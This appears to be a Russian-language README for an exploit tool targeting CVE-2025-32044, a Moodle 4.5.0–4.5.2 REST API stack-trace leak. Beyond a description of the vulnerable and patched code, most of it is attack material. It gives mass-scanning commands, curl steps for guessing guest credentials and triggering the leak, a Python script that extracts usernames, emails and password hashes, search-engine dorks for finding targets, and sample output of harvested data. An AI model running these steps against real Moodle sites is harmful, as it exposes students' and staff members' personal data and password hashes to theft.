
Moodle 4.5.0-4.5.2 Неаутентифицированное раскрытие данных пользователя через REST API из-за утечки аргументов стека | CVSS 7.5
CVE-2025-32044 — это уязвимость высокого уровня серьезности (CVSS 7.5) неавторизованного раскрытия информации в Moodle LMS 4.5.0 – 4.5.2.
Уязвимость находится в обработчике исключений REST API Moodle — exception_response::get_payload_data() в lib/classes/router/response/exception_response.php. До исправления в ответах об ошибках API включались трассировки стека PHP с аргументами функций. Эти аргументы содержат чувствительные пользовательские данные, передаваемые через стек вызовов — включая имена пользователей, полные имена, адреса электронной почты и хэши паролей.
Для утечки не требуется ни аутентификация, ни токен, ни взаимодействие с пользователем. Атакующему достаточно отправить некорректный запрос к любой конечной точке REST API, который вызовет внутреннее исключение.
| Версия Moodle | Статус |
|---|---|
| 4.5.0 – 4.5.2 | Уязвима |
| 4.5.3+ | Исправлена |
| < 4.5.0 | Не затронута |
Все версии с zend.exception_ignore_args = On | Не затронута |
Обнаружил: Lucas Alonso (14 марта 2025 года)
Moodle Tracker: MDL-84879
Уведомление: MSA-25-0011
// lib/classes/router/response/exception_response.php (ДО исправления)
protected static function get_payload_data(...): array {
$data = [
'message' => $exception->getMessage(),
'stacktrace' => $exception->getTrace(), // ← включает 'args'!
];
return $data;
}
Когда при обработке REST API возникает исключение, трассировка стека PHP включает аргументы функций (args) для каждого фрейма стека вызовов. Эти аргументы непреднамеренно содержат данные таблицы пользователей, которые обрабатывались функциями выше по цепочке вызовов.
// lib/classes/router/response/exception_response.php (ПОСЛЕ исправления)
'stacktrace' => array_map(
fn ($frame): array => array_filter(
$frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
),
$exception->getTrace(),
),
Плюс эшелонированная защита в lib/setup.php:
ini_set('zend.exception_ignore_args', '1');
1. Цель — Moodle 4.5.0-4.5.2 без zend.exception_ignore_args
2. Отправить некорректный запрос на /webservice/rest/server.php
(например, core_user_get_users_by_field без обязательных параметров)
3. Внутреннее исключение возникает при обработке пользовательских данных
4. Ответ API с ошибкой включает стек-трейс с 'args'
5. Извлечь аргументы: имена пользователей, email, хэши
| Поле | Источник |
|---|---|
| Имя пользователя | таблица user |
| Полное имя | firstname + lastname |
столбец email | |
| Хэш пароля | хэши bcrypt $2y$ / $2b$ |
| IP последнего входа | столбец lastip |
| ID пользователя | столбец id |
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt
# Одиночная цель
python cve_2025_32044.py -t moodle.target.com
# Массовое сканирование
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt
# Массовое сканирование с большим числом потоков
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt
# Режим отладки
python cve_2025_32044.py -t moodle.target.com --debug -v
-t, --target Одиночная цель (домен или IP)
-f, --file Список целей, по одной на строку
-o, --output Сохранить утекшие данные пользователя в файл
--threads Количество одновременных потоков (по умолчанию: 30)
--timeout Таймаут запроса в секундах (по умолчанию: 10)
--debug Показывать каждый HTTP-запрос
-v, --verbose Подробный вывод
$ python cve_2025_32044.py -t moodle-target.com
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Host : moodle-target.com
Moodle : YES v4.5.1
WS Enabled : YES
Token : obtained (admin)
═══ DATA LEAKED ═══
admin | [email protected]
jsmith | [email protected]
mjones | [email protected]
Emails: 3
Hashes: 3
$2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
Time : 3.2s
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Targets: 500 | Threads: 30 | Mode: QUIET
[LEAK] moodle-vuln-01.ac.id users=15 emails=12 hashes=15
[WS] moodle-patched-02.edu token=admin
[!] moodle-no-ws-03.org
[150/500] 30% | Det:87 WS:32 Tok:8 Leak:5
───────────────────────────────────────────────────────
Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5
Шаг 1 — Обнаружение Moodle + Web Services
# Проверка на Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle
# Проверка web services
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS включён + возможно гостевой доступ
# {"error":"Web services must be enabled..."} = WS отключён
Шаг 2 — Получение токена (если возможно)
curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'
Шаг 3 — Вызов исключения и захват утечки
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Если уязвима, ответ будет содержать stacktrace с args
Шаг 4 — Парсинг утекших данных
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
'wsfunction': 'core_user_get_users_by_field',
'moodlewsrestformat': 'json',
'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
for arg in frame.get('args', []):
if isinstance(arg, dict) and 'username' in arg:
print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")
FOFA: body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"
Успешная эксплуатация позволяет:
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВЫХ ЦЕЛЕЙ.
Это программное обеспечение предназначено для специалистов по безопасности, проводящих авторизованные тесты на проникновение, организаций, проверяющих собственную инфраструктуру, и исследователей, изучающих эксплуатацию уязвимостей.
Авторы не несут ответственности за неправомерное использование.